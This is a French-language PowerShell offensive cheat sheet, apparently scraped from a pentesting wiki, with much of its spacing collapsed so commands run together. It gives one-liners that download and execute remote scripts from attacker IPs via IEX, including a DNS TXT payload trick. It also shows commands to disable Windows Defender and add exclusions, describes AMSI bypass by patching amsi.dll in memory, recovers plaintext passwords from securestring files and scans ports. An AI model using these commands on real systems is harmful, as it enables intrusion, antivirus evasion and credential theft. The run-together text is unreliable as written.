Get-Help*#List everything loadedGet-Helpprocess#List everything containing "process"Get-HelpGet-Item-Full #Get full helpabout a topicGet-HelpGet-Item-Examples #List examplesImport-Module<modulepath>Get-Command-Module <modulename>
Téléchargement & Exécution
gecho IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264#host a text record with your payload at one of your (unburned) domains and do this:powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Téléchargement & Exécution en arrière-plan avec Bypass AMSI
# Check statusGet-MpComputerStatusGet-MpPreference| select Exclusion*| fl #Check exclusions# DisableSet-MpPreference-DisableRealtimeMonitoring $true#To completely disable Windows Defender on a computer, use the command:New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion pathSet-MpPreference-ExclusionPath (pwd) -disablerealtimemonitoringAdd-MpPreference-ExclusionPath (pwd)# Check exclusions configured via GPOParse-PolFile .\Registry.polKeyName : Software\Policies\Microsoft\Windows Defender\ExclusionsValueName : Exclusions_PathsValueType : REG_DWORDValueLength : 4ValueData : 1KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\PathsValueName : C:\Windows\TempValueType : REG_SZValueLength : 4ValueData : 0
Contournement de l'AMSI
amsi.dll est chargé dans votre processus et possède les exports nécessaires pour que toute application interagisse avec lui. Et comme il est chargé dans l'espace mémoire d'un processus que vous contrôlez, vous pouvez modifier son comportement en écrasant les instructions en mémoire. Ce qui le rend incapable de détecter quoi que ce soit.
Par conséquent, l'objectif des contournements de l'AMSI est de modifier les instructions de cette DLL en mémoire pour rendre la détection inutile.
Cette nouvelle technique repose sur l'accrochage des appels d'API des méthodes .NET. Il s'avère que les méthodes .NET doivent être compilées en instructions machine natives en mémoire qui ressemblent beaucoup aux méthodes natives. Ces méthodes compilées peuvent être accrochées pour modifier le flux de contrôle d'un programme.
Les étapes pour effectuer l'accrochage des appels d'API des méthodes .NET sont les suivantes :
Identifier la méthode cible à accrocher
Définir une méthode avec le même prototype de fonction que la cible
Utiliser la réflexion pour trouver les méthodes
S'assurer que chaque méthode a été compilée
Trouver l'emplacement de chaque méthode en mémoire
Écraser la méthode cible avec des instructions pointant vers notre méthode malveillante
Contournement AMSI 3 - Privilège SeDebug
En suivant ce guide et ce code vous pouvez voir comment, avec suffisamment de privilèges pour déboguer des processus, vous pouvez démarrer un processus powershell.exe, le déboguer, surveiller quand il charge amsi.dll et le désactiver.
Version du système d'exploitation et correctifs (HotFixes)
[System.Environment]::OSVersion.Version #Current OS versionGet-WmiObject-query 'select * from win32_quickfixengineering'|foreach {$_.hotfixid} #List all patchesGet-Hotfix-description "Security update"#List only "Security Update" patches
Environnement
Get-ChildItem Env: | ft Key,Value #get all values$env:UserName @Get UserName value
Autres lecteurs connectés
Get-PSDrive|where {$_.Provider-like"Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
SUDO (Super User Do) est une commande Unix qui permet à un utilisateur d'exécuter des commandes en tant que superutilisateur ou un autre utilisateur. Cela peut être utile pour effectuer des tâches qui nécessitent des autorisations spéciales.
Get-LocalGroup| ft Name #All groupsGet-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Presse-papiers
Get-Clipboard
Processus
Get-Process|where {$_.ProcessName-notlike"svchost*"} | ft ProcessName, Id
Services
Les services Windows sont des programmes qui s'exécutent en arrière-plan pour effectuer diverses tâches système. Certains services peuvent être essentiels au bon fonctionnement du système, tandis que d'autres peuvent présenter des risques de sécurité s'ils ne sont pas correctement configurés. Il est important de comprendre les services en cours d'exécution sur un système Windows et de s'assurer que seuls les services nécessaires sont activés.
Get-Service
Mot de passe à partir de chaîne sécurisée
$pw=gc admin-pass.xml |convertto-securestring#Get the securestring from the file$cred=new-object system.management.automation.pscredential("administrator", $pw)$cred.getnetworkcredential() | fl *#Get plaintext password
Tâches planifiées
Get-ScheduledTask|where {$_.TaskPath-notlike"\Microsoft*"} | ft TaskName,TaskPath,State
Réseau
Analyse de ports
# Check Port or Single IPTest-NetConnection-Port 8010.10.10.10# Check Port List in Single IP80,443,8080|% {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null# Check Port Range in single IP1..1024|% {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "TCP port $_ is open"} 2>$null# Check Port List in IP Lists - 80,443,445,8080"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}
Interfaces
Les interfaces sont des points d'entrée pour interagir avec un système ou une application.
Get-NetIPConfiguration| ft InterfaceAlias,InterfaceDescription,IPv4AddressGet-DnsClientServerAddress-AddressFamily IPv4 | ft
Pare-feu
Get-NetFirewallRule-Enabled TrueGet-NetFirewallRule-Direction Outbound -Enabled True -Action BlockGet-NetFirewallRule-Direction Outbound -Enabled True -Action AllowGet-NetFirewallRule-Direction Inbound -Enabled True -Action BlockGet-NetFirewallRule-Direction Inbound -Enabled True -Action Allow# Open SSH to the worldNew-NetFirewallRule-DisplayName 'SSH (Port 22)'-Direction Inbound -LocalPort 22-Protocol TCP -Action Allow# Get name, proto, local and rremote ports, remote address, penable,profile and direction## You can user the following line changing the initial filters to indicat a difefrent direction or actionGet-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
Route
La commande route est utilisée pour afficher et manipuler la table de routage du système. Elle permet de visualiser les routes réseau configurées sur la machine. Voici quelques exemples d'utilisation courante de la commande route :
route print : Affiche la table de routage complète.
route add : Permet d'ajouter une nouvelle route à la table de routage.
route delete : Supprime une route existante de la table de routage.
Il est important de comprendre comment utiliser la commande route pour gérer efficacement les routes réseau sur un système Windows.
route print
ARP
Get-NetNeighbor-AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Hôtes
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
Ping
Description
Ping is a basic network utility used to test the reachability of a host on an Internet Protocol (IP) network.
Usage
Test-Connection<target>
Example
Test-Connection192.168.1.1
$ping =New-Object System.Net.Networkinformation.Ping1..254|% { $ping.send("10.9.15.$_") | select address, status }